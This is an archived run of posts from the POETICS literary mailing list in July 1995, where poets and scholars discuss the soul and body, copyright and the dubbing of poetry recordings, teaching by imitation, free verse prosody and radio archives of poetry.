"She was born in 1523, in Padua, of a noble Milanese family, by whom, as her contemporaries would have said, she was 'exquisitely' educated. In Venice, at the age of 26, she fell desperately in love with the young Collaltino, Count of Collalto and Lord of Treviso. After a few years of mutual happiness, he went to France to fight for Henry II, forgot her, and consoled himself with other beauties. when at last he returned, a kind of duty prevented him from openly breaking with the woman he no longer loved. At first she was full of happiness; then she began to learn the truth. He finally left her and married. She consoled herself partly with other lovers and partly with religion, and died in

1554, at the age of 31. The whole story of her love for Collaltino is recorded in some 200 sonnets..."

And on the subject of love letters (I mean yr suggestions, and now mine, to John Krick, and not Gaspara's): Joyce has some really weird letters to Molly around 1916 (?) when she was in Dublin, he away somewhere on the continent, in which he demands she buy pretty underclothes for herself...and something about a whip. --brian

↑ Index

421. **Rod Smith**

Re: Holy Soul Jelly Roll

Wed 19 Jul 1995

The pineal gland! That's where it is!
I can't beat that. Tho I would revise to say "TOWERING gastronomical achievements of our time."

Re these discussions about soulsters, souling, circular solemnity. We don't know, really, do we? So the folks who KNOW bygod abt the soul & the folks who deny any existence of aforesaid, & are _completely_ convinced of such, _both_ deserve to be made fun of. That's not too much the way the conversation has gone here-- but a bit. Those that front it as a completely subjective experience are the only ones, I think, who are "right." Mark Wallace has an interesting essay called "On Genre as Conversion Experience" in which he points out that there are certain ways in which artistic communities can be seen to mirror the behavior of religious communities. One has a "conversion experience" to a particular form of artistic practice which one then defines oneself with/by to the exclusion of other ways of writing/painting/thinking. Which raises the interesting question of a seeming schism between a very real conversion experience, a powerful spiritual experience, which leads, often, to completely bogus behavior. Duchamp sd "God is man's stupidest idea." One could twist that to mean "it's the most obvious." As a sometime buddha wannabe I prefer to try to keep both in mind. I mean, after all, nothing exists. . . sort of.

--Rod

Jorge wrote:
>the location of the soul in the body by helene cixous ranks as one of the
>towering intellectual achievements of our time.

I wrote:
>Allen Ginsberg's location of the soul within the jelly roll ranks as one of
>the great gastronomical achievements of our times. Yum yum.

Jorge responded:
>Aristotle's location of the soul in the pineal gland ranks as one of the
>great anatomical achievements of classical times, despite his having being
>savaged by Allen Ginsberg almost in the same way that Steven P (in the
>Language Instinct) savaged Saint Benjamin Lee Whorf (or Einstein Newton
>to give an example from another field of human knowledge).

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422. beard
Bless my soul, a gnostic agnostic!
Wed 19 Jul 1995

From: Reginald Johanson <[redacted]>

> *I like the irreverence of Filet-o-Soul and Soul train and baby's got soul and all of that. I guess I'm having a harder time understanding the sense of impatience that comes through in some of the postings, the desire to banish the idea altogether as an embarassing anachronism.*

I guess if any sense of impatience came through in my posts, it's because the word "soul" has so many different meanings that it leads to the risk of real misunderstanding. If I said, for example, that "my poetry comes from my soul" and someone replies, "ah, you mean the part of you that lives on after you die", then that is NOT what I meant. When soul=mind, soul=consciousness, soul= emotions, soul=body and soul=immortal spirit, communication really breaks down.

I know that misreadings and ambiguities are not only (to some extent) inevitable within language, they can be desirable as well. It's just that when a word has specific implications for some people, and these implications are definitely NOT what I want to convey, then I cease to find that word useful, either in poetry or prose.

For example, when Lindz talks of the mind and body being extinguishable, but not the soul, then this is not what I want to say. I like Shaunanne's formulation of the soul being the consciousness - this is closer to the mysteries of selfhood that I think a lot of people mean when speaking casually of the "soul". The word "consciousness" does not require the soul to live independently of the body (a fascinating book on consciousness, including stories by Borges and Stanislaw Lem, and essays and dialogues by Douglas R Hofsdatder and Daniel C Dennett, is _The Mind's I_, edited by Hofsdatder and Dennett), but does lead to a broad discourse on selfhood, subjectivity and what it means to be an "I".

However, it's not what I'd use to describe the source of my poetry. The word "mind", while it may seem hopelessly broad and general, sums up for me the

vast range of mental processes - from the neural structures that shape my aural and visual perceptions, the unconscious machinations of the dream-state, the net of language in which my ego is caught, to the conscious cognitive processes that constitute my judgement of structure, rhythm and image - that result in words being set down upon the page.

Moving on, I'm intrigued by the discussion of "gnostic poets". What does everyone take the word "gnostic" to mean? My dictionary defines it as "having esoteric spiritual knowledge" - which would include theologians, channellers, druids, tohunga, pantheists and a slew of other mystical heirophants - but I assume that there is a more precise definition. To me, as an agnostic, it would mean "everything that I'm not". I remember an anecdote about Bertrand Russell being imprisoned, and his gaoller asking him "Religion?" so that he could fill out his form. When Russell replied "agnostic", the warder furrowed his brows, then looked at him thoughtfully and said "Well, I guess we all worship the same god, don't we?"

On another tack, I think it was Marjorie who said that our generation's poetic/philosophical mentors were Stein/Wittgenstein, whereas the previous generation had had Pound/Heidegger or Whitehead/Olson. So, for someone like me whose philosophical mentors include Popper and Ayer, perhaps Alan Turing, or looking back to Diderot and d'Holbach, who would occupy the poetic side of the relation?

Just a few thoughts,

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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423. Ron Silliman

Re: who is Woody Allen?

Wed 19 Jul 1995

Several years ago when I was in Russia, Viktor Mazin, my translator there, showed me a samizdat journal of American writing in Russian translation devoted to Woody Allen, Louis Zukofsky and myself.

Ron

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424. Ron Silliman
Re: The Recording Angel
Wed 19 Jul 1995

Aldon,

Clark Coolidge had a program on KPFA (Pacifica) in the late sixties that was very NY School oriented, lots of fun to listen to (and was my first exposure to Clark as well). Is that in the archives down there? What about Jack Spicer's folk music programs (also from KPFA circa 1949-50)? I didn't start listening to KPFA until around 1958 when I got an FM radio as a christmas present, but my understanding is that Jack & Robin used to have singers and others into the studio and read and drink red wine. David Gitin also had a program on KPFA in the 60s. I remember him playing Olson, for example.

Things to look for in the Archives.

Have fun with your keyboards.

Ron
[redacted]

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425. Ron Silliman
Re: Sarton & Spender
Wed 19 Jul 1995

Just a note to acknowledge the passing of two poets over the weekend, May Sarton & Stephen Spender. Never met Sarton. Played basketball with Spender once, though, circa 1970.

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426. Jordan Davis.
hits of Pam
Wed 19 Jul 1995

Poetics,

Up late last night and hearing a terrifying story about inhalant-abuse by native-american children it occurred to me that a better formulation for the shrine than Wittgen(stein) might be Ashbery/Deleuze...

I _must_ have a body, it's a moral necessity, a "requirement." And in the first place, I must have a body because an obscure object lives in me. But, right from this first argument, Leibniz's originality is tremendous. He is not saying that only the body explains what is obscure in the mind. To the contrary, the mind is

obscure, the depths of the mind are dark, and this dark nature is what explains and requires a body. --Gilles Deleuze, _The Fold_, p. 85, UMn Press 1993

So is that why we have texts (even though we write the same poems over and over)? Or, how do we read Olson (who pretty much transliterates Whitehead and the historical society into verse) in a Wittgenstein-flooded world? Or, can you read Olson without turning off your hearing aid? Is that what the excellent Creeley-edited selected Olson is for, to move Olson across the divide?

Jest curious,
Jordan

↑ Index

427. Rachel Loden

Franz K.

Wed 19 Jul 1995

Maria,

Here's Kafka (for real this time) on the "ethnic chauvinism" you mention:

"What have I in common with Jews? I have hardly anything in common with myself and should stand very quietly in a corner, content that I can breathe."

Speaking as a Jew, I can't think of anything truer, or funnier --or more Jewish-- than that.

Rachel Loden

↑ Index

428. H. T. KIRBY-SMITH

free verse foot

Wed 19 Jul 1995

Some time back Donald Wesling's "The Prosodies of Free Verse" was mentioned as a good treatment of the subject. Finally found it in TWENTIETH-CENTURY LITERATURE IN RETORSPECT, Harvard UP, Harvard English Studies Series : No. 2, 1971.

So it's not exactly the latest thing.

There is this passage:

> Since, however, there is no free verse foot, and since it is strictly impermissible to alter typography in a genuine confrontation of all the linguistic features of the line, we must accept Zygmunt Czarny's axiom that each line in free verse is "quantitatively independent of the previous

> one" and Barbara Herrnestein Smith's that the line is "not a constant unit but the acknowledgement of a limit of variability." In fact, the line is the notation of how the poem is to be read.

I wonder if whoever recommended this essay, or anyone else, cares to comment on those statements, especially on the assumption, "there is no free verse foot."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

429. **Herb Levy**
Re: Holy Soul Jelly Roll
Wed 19 Jul 1995

> *Allen Ginsberg's location of the soul within the jelly roll ranks as one of the great gastronomical achievements of our times. Yum yum.*

Well Charles Mingus, for one, had a piece called My Jelly Roll Soul, on, I think, the album titled "Oh Yeah" from the mid 1950s.

&, as long as people are dropping names right & left on the issue of soul=8A

Call me a pagan, but since McCullough & Weiner (among others) located the mind in the body, I've always assumed that's where the soul was too.

Though I don't think they're the same thing.

Herb Levy
[redacted]

↑ Index

430. **Herb Levy**
Re: The Recording Angel
Wed 19 Jul 1995

> *Concerning dubs of commercial recordings: thanks to the Audio Home Recording Act of 1992, all blank audio media when purchased contain a tariff. These funds are intended to compensate copyright holders for loss of royalties that may result from home recordings. In other words every time you buy a blank cassette you are automatically making a royalty payment to a fund divied up between ASCAP, BMI and SESAC, organizations which exist to collect royalties for and distribute royalties to the copyright holder. Distribution is, of course, based on sales statistics. So the chances are much better that*

> *ASCAP will assume that the dubs being made are of Michael Jackson's HISTORY rather that Brathwaite's MIDDLE PASSAGE and give him the cash (give Jackson, that is) instead of, unfortunately, Brathwaite. The point is that although the recording industry doesn't want this to become common knowledge, you purchase the right to make a legal dub of commercially recorded materials every time you buy a blank tape as long as that dub isn't intended for resale. That less commercial "artists" will never see any of that money is an injustice, but it is a separate issue.*
>
> *Jonathan Brannen*

Jonathan -

I brought up my concerns about ownership & copying tapes or texts for all the reasons you raise here.

The real issue isn't the law. Copyright law is fucked in a big way, especially as it pertains to sound recordings. Royalty payments are collected and redistributed by monopolistic licensing companies (ASCAP & BMI in the United States) who as you correctly describe it, only understand the economics of big budget pop music.

The issue is who ends up getting paid for what uses of their work and the morality of how payments are made for the "fair use" and "individual use" aspects of the copyright statutes.

I think when you're talking about work with limited sales potential (like poetry or new music) following the letter of the law doesnt always feel like it's enough.

- H

Herb Levy
[redacted]

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431. **Herb Levy**
Re: The Recording Angel
Wed 19 Jul 1995

> *Since there appears to be some confusion on this matter, let me assure all and sundry that any tape I offer to dub for anybody is either in the public domain or has been made, by me, with the permission of the author.*
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> *The other confusion is due to my own hurry in writing. The Brathwaite LP's were, indeed of _The Arrivants_, and include Rights of Passage, not Middle Passage. The later tapes I made of Brathwaite include brief passages from Middle Passage. These are not for commercial circulation or rebroadcast, but can be listened to by them's what's doing research.*

> *By the way, I've recently discovered that there is quite a bot of poetry available on tape from the Pacifica Archive here in L.A. at reasonable rates. Quite a bit as well as a bot. Much of this material is generally not known about, as it was never distributed through stores (nor made available on late night TV.) I've found one fascinating tape from a '64 poetry conference of some type held in San Francsico; the tape I've got beginbs in the middle of things, so I'm nosing around Pacifica's microfiche to see what else may have been taped that week.*

Aldon -

I'm not trying to be weirdly puritanical about this. (But I realize that I am being weirdly puritanical about this.)

Make copies of whatever you feel comfortable about, especially of those things that Brathwaite approved. I assume that no one on this list would be trying to make big bucks by bootlegging Brathwaite recordings. (I assume that no one on this list would think they could make big bucks in this way, but that's another issue.)

It's just that I've spent a lot of time working with composers who work under a slightly different royalty situation than do writers, so I may think about it differently than many people on this list.

As Jonathan Brannen posted elsewhere, when you're talking about something with very little commercial potential, like spoken word or new music, how royalties get distributed for recordings often has very little to do with how many copies of something were sold.

To my mind, this makes the issue of what's right more important than what's legal, but maybe I'm just funny that way. &, like I said earlier, I've xeroxed and dubbed my share of copies and I'm sure I'll continue to do so from time to time.

As to the Arrivants LPs; unless the record company screwed up big time on filing the original copyright forms (to the extent that they were never legally registered), they won't legally be in the public domain until long after Brathwaite is dead.

As we all know, however, these recordings are long out of print, and it's incredibly unlikely that they'll be reissued any time soon. So you be the judge.

- H

Herb Levy
[redacted]

↑ Index

432. Herb Levy
Re: the one-two writing/teaching
Wed 19 Jul 1995

Maria Damon (whose name looks odd indeed, capitalized after seeing it online all lower case for so long. I hope you don't mind, Maria) writes:

> *herb levy writes:*
> *Hearing poetry read aloud is great: everyone teaching poetry should read some, get their students to read and bring in poets and/or tapes of poets.*
>
> *& getting students to try writing poetry is a cool idea, too. But it won't work with every student, every teacher, or at every school.*
>
> *And where do you draw the line on something like this?*
>
> *well, the purposes are different. i don't do it only so that students can get a sense of being "inside" a particular writer's process, though that's part of it; sometimes, for the more analytically minded, it helps to illuminate what it is they think characterizes a writer's style. then we can discuss that, whether*
> *it's so or not, etc. for example, when i have students imitate a writer who is African American, often the students use what they think is Black English in ways tht the writer never does --in third person narration, when the writer only*
> *uses it in dialogue, or for characters that, in fact, use standard english. or,*
> *for example with Lyn Hejinian's My Life, some people wrote about their childhoods without using any other aspects of her style...in imitating ginsberg,*
> *some use lots of "obscenities" and others simply repeat the word "holy" at the beginning of lists of their friends and favorite hangouts. so its a useful exercise in several different ways. sometimes simply by emulating the sentence structure of, say, emily bronte students stretch their own syntactic imaginations.*

You've very eloquently described some of the value of having students writing in the style of poems and poets they're studying. It's obviously a good tool & you've gotten some really good results from it. It clearly can help get at some levels of understanding (and misunderstanding) the writing that may not be verbalized any other way.

My point's just that, unfortunately, there's lots of students for whom such an exercise might be more frustrating than illuminating, and, far more unfortunately, lots of teachers who wouldn't be able to draw useful lessons from "unsuccessful" imitations as you have.

In the wrong situation(s), in the wrong hands perhaps, this teaching technique could be dreadful, though. Just as some poets are "better" at some kinds of poems than others, some teachers and some students are "better" at some kinds of teaching and learning (not necessarily respectively).

> *and i do envy those who can sew their own clothes and fix their own cars, and do*
> *believe my life would be richer, or i'd be less intimidated by cars and clothes,*
> *if i knew even a few rudimentaries. i especially wish i knew how to brawl, physically, cuz i envy the insouciance with which people who do know how to take*
> *care of themselves in that way enter high-risk places at high-risk times of day/night.--md*

Believe me, I share your envy. But, as you obviously understand from the teaching experiences you describe here, the issue in having students write in the style of various writers isn't so they'll end up simply envying these poet's skill.

Your last sentence has given me one more reminder to look at your book, titled, I think, "at the dark end of the street," which I only know of from a friend who likes Bob Kaufman's work a lot (& who, for a jazz oral history project ended up interviewing, and pissing off, Bumps Blackwell's widow).

Bests,

H.

Herb Levy
[redacted]

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433. Burt Kimmelman

A colleague of mine (who is also my wife) asked me to forward this request to the List for reviewers and journals who would review her novel, and for the addresses of certain lists as she describes below. thanks. -bk

Wed 19 Jul 1995

From: ADMIN::SIMMONS 19-JUL-1995 10:40:29.21
To: KIMMELMAN
CC: SIMMONS
Subj: bulletin boards

I would like to have help locating bulletime boards with a particular interest in contemporary American fiction, expecially multi-cultural works. I am particularly interested in work by Asian Americans as I am working on a book

about Maxine Hong Kingston. I've recemt;u recently finished a book on West Indian writer Jamaica Kincaid.

I am also looking for people interested in reviewing my novel, "Dreams Like Thunder," published by Story Line press, favorably reviewed in the NY Times and LA Times, and winner of the Oregon Book Aaward for Fiction in a field that included Ken Kesey. The novel is set on a little farm in Eastern Oregon over several days in 1959, and seeks to examine the myth of the frontier that continues to dominate the family's life into the 20th cenury.

For rview copies write: Joseph Bednarik, Story Line Press, 27006 Gap Road, Brownsville, OR 97327-9718.

My address is: [redacted]

Thanks for your help.

Diane Simmons

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434. Marjorie Perloff
Re: POETICS Digest - 17 Jul 1995 to 18 Jul 1995
Wed 19 Jul 1995

Re: Rainey's piece on HD (for Alan Golding): you should know that the essay (now identified by someone else for Alan) was first given as an MLA talk where Rainey was almost stoned for his attack. The drawing of battle lines is too bad because surely it should be possible to criticize HD without using those particular arguments or lines of attack.

As for Vendler's title SOUL SAYS, in fact that isn't taken from Jorie Graham as David Reynolds suggests but from George Herbert--can't remember the name of the poem and there may be more than one but it goes along with the typical Herbert strategy of Body vs. Soul speaking, or as in "Love" ("Love says, "You shall be he").

Marjorie Perloff

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435. David Kellogg
The Broadcasting Angel
Wed 19 Jul 1995

Hey all,

A colleague and friend of mine is doing work on

POETRY AND RADIO

as well as other forms of mechanical voice
reproduction and transmission, between the
twenties and the forties. I don't know anything about the
subject, and I'm wondering if anybody here knows of
interesting collections or recordings related to
radio broadcasts of poetry in the period.

She is NOT a member of the Poetics list, and would
like any responses directed to her at

[redacted]

Thanks in advance for any response.

Cheers,
David
~~~
~~~

↑ Index

437. **maria damon**
Re: Holy Soul Jelly Roll
Wed 19 Jul 1995

---

herb levy writes:
> >Allen Ginsberg's location of the soul within the jelly roll ranks as one of
> >the great gastronomical achievements of our times. Yum yum.
>
> Well Charles Mingus, for one, had a piece called My Jelly Roll Soul, on, I
> think, the album titled "Oh Yeah" from the mid 1950s.
>
> &, as long as people are dropping names right & left on the issue of soul=8A
>
> Call me a pagan, but since McCullough & Weiner (among others) located the
> mind in the body, I've always assumed that's where the soul was too.
>
> Though I don't think they're the same thing.
>
>
the blues vernacular term "jelly roll" for sex/vagina and its frequent appearance w/ "soul" as rhyme word might suggest that cultures other than the christianized northern european ones have long associated the soul, not only with the body, but with its sexual functions among others. not to claim that other cultures don't have their own dualisms, but the body/soul one seems to have had such a crippling and yet culturally forceful, and sometimes even productive, effect on Northern Euro-American culture in particular.--md

↑ Index

438. **Rae Armantrout**
Re: doing the one-two writing...
Wed 19 Jul 1995

Dear Tony,

I recommend Fanny's latest books of poems, The End. Just read it and see if you see what I mean.

Rae

↑ Index

439. Jonathan Brannen
Re: Holy Soul Jelly Roll
Wed 19 Jul 1995

Guess it must be jelly 'cause jam don't shake like that!

Jonathan Brannen

↑ Index

440. David Kellogg
Re: POETICS Digest - 17 Jul 1995 to 18 Jul 1995
Wed 19 Jul 1995

On Wed, 19 Jul 1995, Marjorie Perloff wrote:

> *As for Vendler's title SOUL SAYS, in fact that isn't taken from Jorie Graham as David Reynolds suggests but from George Herbert--can't remember the name of the poem and there may be more than one but it goes along with the typical Herbert strategy of Body vs. Soul speaking, or as in "Love" ("Love says, "You shall be he").*

sic: it was me, David Kellogg, and not David Reynolds, who said that.

And also: I'm sure the Herbert connection isn't lost on Vendler, for whom it no doubt serves to reinforce her view of Graham as part of the great Stream of Poetry, but in fact Vendler writes:

"Lyric, from the Psalms to 'The Waste Land,' seemed, when I was seventeen, to be the voice of the soul itself. This, I take it, is what Jorie Graham means in calling one of her poems 'Soul Says,' which I have borroed as the title for this collection of essays about lyric poetry."

Vendler, *Soul Says*, p. 3

So while the title may be indirectly from Herbert -- one of Vendler's favorite poets -- it's *directly* from Graham. (The poem "Soul Says" also provides the epigraph for Vendler's collection).

Cheers,
David
~~~
~~~

441. Willa Jarnagin
Re: Soul/body
Wed 19 Jul 1995

On Wed, 19 Jul 1995, Herb Levy wrote:

> *&, as long as people are dropping names right & left on the issue of soulŠ*
>
> *Call me a pagan, but since McCullough & Weiner (among others) located the mind in the body, I've always assumed that's where the soul was too.*
>
> *Though I don't think they're the same thing.*

I think they are the same thing, just in different degrees. They're both life. So which is more alive, the body or the soul? Which is more the poem: its physical manifestation as words on a page and sound in the air, or its abstract life in the mind of the reader?

I'm glad to see discussion of the soul. But maybe that's because I never lived in a college dorm.

Willa J.

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442. Jonathan Brannen
Re: The Recording Angel
Wed 19 Jul 1995

Herb,

I agree that when tapes of poetry readings are available for purchase they should be purchased rather than dubbed. Unfortunately, most poetry readings aren't recorded, and of those that are, few are available commercially. I wouldn't distribute copies of a reading I've taped without the poets consent and I assume that others who exchange dubs of reading are also acting in good faith. I think because of the non-commercial nature of such recordings this is a a fair assumption. Poetry has to rely on informal and unofficial means of distribution because most formal and official channels are closed to it. I also think it helps a poet extend her or his audience and promotes the sales of books.

I have no problem with anyone making dubs of readings I've given or photo-copying my out-of-print books for personal use. I'd be interested hearing how others view this in terms of their work.

Jonathan Brannen

↑ Index

443. **maria damon**
Re: the one-two writing/teaching
Wed 19 Jul 1995

> *herb levy writes*
> *...*
> *a friend who likes Bob Kaufman's work a lot (& who, for a jazz oral history project ended up interviewing, and pissing off, Bumps Blackwell's widow).*
>
> *Bests,*
>
> *H.*

do tell, if you're at liberty. how'd s/he piss Mrs Blackwell off? i talked to marlene blackwell once on the phone and she was quite gracious, more so than another one of BK's sisters who regarded me with suspicion.--md
>
>
>

↑ Index

444. **Tony Green**
Re: doing the one-two writing...
Wed 19 Jul 1995

Dear Rae, you are assuming easy access. A lot depends on library acquisition and time-delays as well.

↑ Index

445. **cris cheek**
soul review
Wed 19 Jul 1995

So, the 'soul' is 'constructed'?

As 'identity' - 'culture' - 'language' - 'syntax' - 'metaphor' - 'materiality' - 'spirituality' - 'belief' - are at their least 'constructed'?

invoke hubris
resist such formulation and defy the gods
(at peril) - "oh, great cynical One!"

love and love
cris

↑ Index

446. **cris cheek**
Sampling and Copyright
Wed 19 Jul 1995

Some of you might have already got notice of this new list and conference - for those who haven't, maybe see you there:

> *New Discussion List (a "message group," really): TECHNOCULT*
>
> *Music and Technoculture List*
> *Moderators: Rene T.A. Lysloff and Randal Baier*
>
> *The term technoculture describes social groups and behaviors characterized by creative strategies of technological adaptation, avoidance, subversion, or resistance. It is formulated with the assumption that technology, rather than being separate from or outside of culture, is saturated with cultural meaning and, in turn, fully assimilated into the lived experiences the humans that use it. Changing technologies thus also implicate cultural practices involving music--including musical creativity, production, reproduction, consumption (and reception), aesthetics, and even scholarship.*
>
> *The purpose of TECHNOCULT is to discuss the implications of new media and information technologies in relation to musical experience (whether live or mediated). TECHNOCULT has been set up as an electronic forum in anticipation of the upcoming preconference symposium, "Music and Technoculture," at the Biltmore Hotel in Los Angeles, California, on October 18, 1995 (preceding the 1995 Meeting of the Society for Ethnomusicology, also at the Biltmore Hotel, October 19-22). Some of the questions to be addressed in the symposium will be: Can and should the individual tones, rhythms, or timbres of a musician or a musical style, even a whole musical culture, be protected through copyright laws? Where does ethnomusicology stand in regard to cross-cultural plunderphonics (the creative appropriation of musical sound), especially with the advent of digital sampling technology? How has such technology change musical creativity? Can even the most abstract stylistic elements of music, simply the "sound," "feel," or "groove" of a composition or performance be owned, or appropriated and commodified? Should digital sampling and recontextualization be regarded as audio-piracy or musical creativity?*
>
> *Indeed, digital sampling is perhaps the most controversial form of musical technology in recent history: it blurs the line between musical production and schizophonic reproduction. In other words, samplers have a parasitic relationship with the past (since all sampled sounds are, after all, past sounds) and yet it has revolutionized musical creativity by liberating sound entirely from its source of production and allowing it to be completely malleable. Fields such as musicology, ethnomusicology, communications, anthropology, performance studies, etc., have yet to*

> *examine the broader implications of digital and other new technologies to the study of music and culture.*
>
> *We hope that TECHNOCULT and the planned Symposium will, at the very least, raise important questions for further examination and discussion. To join TECHNOCULT and/or for further information on the preconference symposium, send a message to Rene T.A. Lysloff ([redacted]) or Randal Baier ([redacted]).*
>
> *----[end of announcment]---*

love and love
cris

↑ Index

447. **Tony Green**
SoUl
Wed 19 Jul 1995

---

as I understand it
the soul must be

that which moves
that which moves

--- is "language-game"
no? but yes.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Soul talk is all in with God talk and love
talk. When we romance one another. When
we do not like one another very much at all
we make up nasty little poems to one another.
Infantile, yes. Ecstasy / orgasm, yummy, yes
please, is anchored, lo and behold, to a kind of
purchasing power: enter the sex-consumer. I
ask you, where's the soul in it, I ask
you

↑ Index

448. **Tony Green**
soUl
Wed 19 Jul 1995

"....The phenomenon is that which shows itself, that which is apparent and which in its appearance shows forth something which can reveal itself therein

only by remaining concealed beneath the appearance. Something shows itself in the phenomenon and can show itself there only by remaining hidden...." Henry Corbin, trans Peter Russell "The concept of Comparative Philosophy. Golgonooza Press, 1981

The search for a location for the soul supposes that NOTHING is that can be so concealed (/ revealed). EVERY THING must have a locus? within Extension? That sounds awfully like Descartes's problem of mind/body (although it is not the " mind " that is the name for what has " passions ", it is the "Soul" that has "passions" in his writings.

The concern I have here is that our "language environment" (remember Tom Beckett's first number of The Difficulties, the "language environment" questionnaire replied to by various writers) has eliminated. largely, a very large thread of discourse. This results I suppose from the Mind/Body dualities and problems of 16th/17th century writing. This thread is recoverable and is possibly crucial to the fullest and widest and richest poetics so many of us on this list evidently are moved to desire. (It does not have to break into any orthodox religious trot at the touch of James Joyce's wife's whip). It may be situated within the continually pressing thought of our living within our families, of generation, of succession, of love (and anger and kindness and malice...) and I am reminded of the effort to conceive of these relations also as animating the behaviour of artists in their community, as clearly shown by Paul Barolsky in his studies of Vasari's Lives

↑ Index

449. **Tony Green**

(Fwd) map of Glos. for Loss

Wed 19 Jul 1995

Descartes soldier
in a time of religious
wars

a map of Dogtown: St cod via
Sophia, Fishermans / racks
Field, Fishermans / in a field
2 acres on which to dry like snow
fences or tables
at a lawn
party

& ladies
in boots
who wear

coifs to keep
the sun from burning
their necks

The Shoreman, Sunday Sept 10
1961

note: re breathing that a breath between "coifs" and "to keep" is in MID-LINE and would be a good way to read this aloud

I'd propose the following:

ACROSS THE BEAT
the feet, the voice

droning. As in rap
it doesn't matter what you talk

as long as you are doing "that" talking
(I think it's the setting down

that's the problem

↑ Index

450. **Ryan Knighton**
Re: soUl
Wed 19 Jul 1995

"The nature of things is in the habit of concealing itself." Heraclitus has soul. He just can't find it and that's AOK.

↑ Index

451. **Loss Glazier**
Re: (Fwd) map of Glos. for Loss
Thu 20 Jul 1995

" M A P "

-- for Tony Green --

X -
this isn't X -
"rustic"? X - -
per bk? X - -
W - -
--------System-------Gloucester o A - - -
| T - - -
| Boston o E - -

```
                          |                        R - -
                          |                       X - - -
- W     Engagement------Absemce--                          X - - -
-  A                                            X - - -
-   T   o Buffalo     o what town is                     X - -
-  E                 this Warsaw - ?                     X -
- R                                  but t h e r e i s  X -
```

↑ Index

452. **Tony Green**

(Fwd) wittgen(stein) and soul

Thu 20 Jul 1995

Received and forwarded for Gabrielle who has had electronic problems
------- Forwarded Message Follows -------
Date: Wed, 19 Jul 1995 15:53:42 -1000
From: Gabrielle Welford <[redacted]>
Subject: wittgen(stein) and soul
To: [redacted]

Hi Tony. Would you mind forwarding this to the Poetics list for me? I'm dying to speak and have been bumped because my address has changed. So far, cannot get the listserv to resubscribe me. If it's too much trouble, just let me know. Gabrielle

On Wed, 19 Jul 1995, Jordan Davis. wrote:

> *in a Wittgenstein-flooded world?*

Oh, would that this were true. People on this list not included, the world that even thinks about Witt is about as microscopic as you can get, and the continued proliferation of the dread disease, dichotomy mind, is proof that his presence is but a trickle. As a wittgen(stein)ian, won't one go about asking what in fact we can and can't say about soul to explore the boundaries of its possibility?

Gabrielle

↑ Index

453. **Steve Carll**

Re: where it comes from

Thu 20 Jul 1995

ShaunAnne opened this can of worms:

> *I had read in Cixous recently that she locates the soul at the body.*

A couple of years back I was watching one of the lectures in Joseph Campbell's _Transformation of Myth Through Time_ where he was talking about the classical Vedic chakra system, which seems to make a distinction between the "gross body" and the "subtle body", which I take to be rough equivalents of what we commonly call "body" and "soul". Neophytes are always discovering the subtle body and wanting to negate the gross body, but, Campbell said, this is missing the point, which is that the subtle body is to be experienced _through_ the gross body. So maybe the idea is really old. Or maybe Campbell had been reading Cixous.

Steve

↑ Index

454. **Alan Sondheim**
Re: where it comes from
Thu 20 Jul 1995

Also check out Kristeva's book, New Maladies of the Soul, for more inter-twining -

Alan

↑ Index

455. **Chris Stroffolino**
Re: Soul/body
Thu 20 Jul 1995

It just hit me that this discussion on the "soul" has skirted around a far more formidable (and perhaps familiar) terms, "the self" and ITS effectiveness, which poststructuralism and langpo may have ironized (at least in their blatant codifications). But the issue has not gone aaway as a site for many "responses" of varying degrees of emotional/ intellectual/formal intensity (at least rhetorically). Perhaps because it is more perilous, it opens up the can of worms of art's relationship to life, and not in a merely abstract way, that life may be a poem and a poem only life and what then of the poet, the rimbaudian cork???? tossing tossing, or willing willing, why not both? why not neither... and such "overcomplications of subjectivity" have a tendency allegedly to get in the way of the play of surfaces and the aestehtic distancing or, on the other hand, are accused of a certain aesthetic distancing by those who want the self as a given or ground, a donnee or readu- made, as both hardcore "straight" poets and hardcore "avant-garde" poetry (assuming either really exists as more than an impulse in the poems of most of us---cf. Zukofsky's "Shakespeare argued with no one, only in itself") beg the question that is the self, or the society or institution that takes the form as the

"question which is the self" since there is a party in my mind and I hope it never stops, especially if one realizes that "to be alone in a crowd" (in the crowd that's also conceivably "inside one") may be the distance in which only thought can occur, emotionalizing intellect, the dramatizations that prefer to see the self strategically as a vista from which to criticize society cold and calculatingly even as it rages in a frustration beyond--or at least between-words....chris stroffolino

↑ Index

456. **Rod Smith**
Re: SoUl
Thu 20 Jul 1995

---

can we talk abt something else please.

↑ Index

457. **Shaunanne Tangney**
Archives (fwd)
Thu 20 Jul 1995

---------- Forwarded message ----------
Date: Wed, 19 Jul 1995 16:06:20 -1000
From: Gabrielle Welford <[redacted]>
To: Shaunanne Tangney <[redacted]>
Subject: Archives

Dear dear Shaunanne, would you pleeeez forward this to the Poetics list for me. I know you are embodied with a visit, but I am bumped temporarily off the list because my address has been changed by my listserv. I will obliged be... Love G.

I think Kenneth Rexroth did a program on Mina Loy (was it on KPFA too?) that I would love to hear. And wasn't there an radio interview with her in Aspen before she died?

Gabrielle

↑ Index

458. **Michael Davidson**
Re: Archives (fwd)
Thu 20 Jul 1995

On the matter of an interview with Mina Loy in Aspen: Paul Blackburn conducted an interview with her late in her life, and it was

recorded. The tape can be found at the Mandeville Dept. of Special Collections, Universityof California, San Diego, La Jolla, CA 92093. Write to Lynda Claassen, head of Special Collections.

Michael Davidson

↑ Index

459. Rachel Loden
who is Woody Allen
Thu 20 Jul 1995

Ron,

Hilarious about the strange samizdat bedfellows. Especially if (as I assume) the project was commenced in a spirit of deep intellectual seriousness...

Woody Allen is Allen Stewart Konigsberg, originally. So-- Silliman, Konigsberg and Zukofsky--a law firm, perhaps, in a Marx Bros. movie? Cyrillic subtitles of course. Uh oh, better go back to my corner and be content that I can breathe--

Rachel

↑ Index

460. H. T. KIRBY-SMITH
free verse foot
Thu 20 Jul 1995

Some time back Donald Wesling's "The Prosodies of Free Verse" was mentioned as a good treatment of the subject. Finally found it in TWENTIETH-CENTURY LITERATURE IN RETROSPECT, Harvard UP, Harvard English Studies Series : No. 2, 1971.

So it's not exactly the latest thing.

There is this passage:

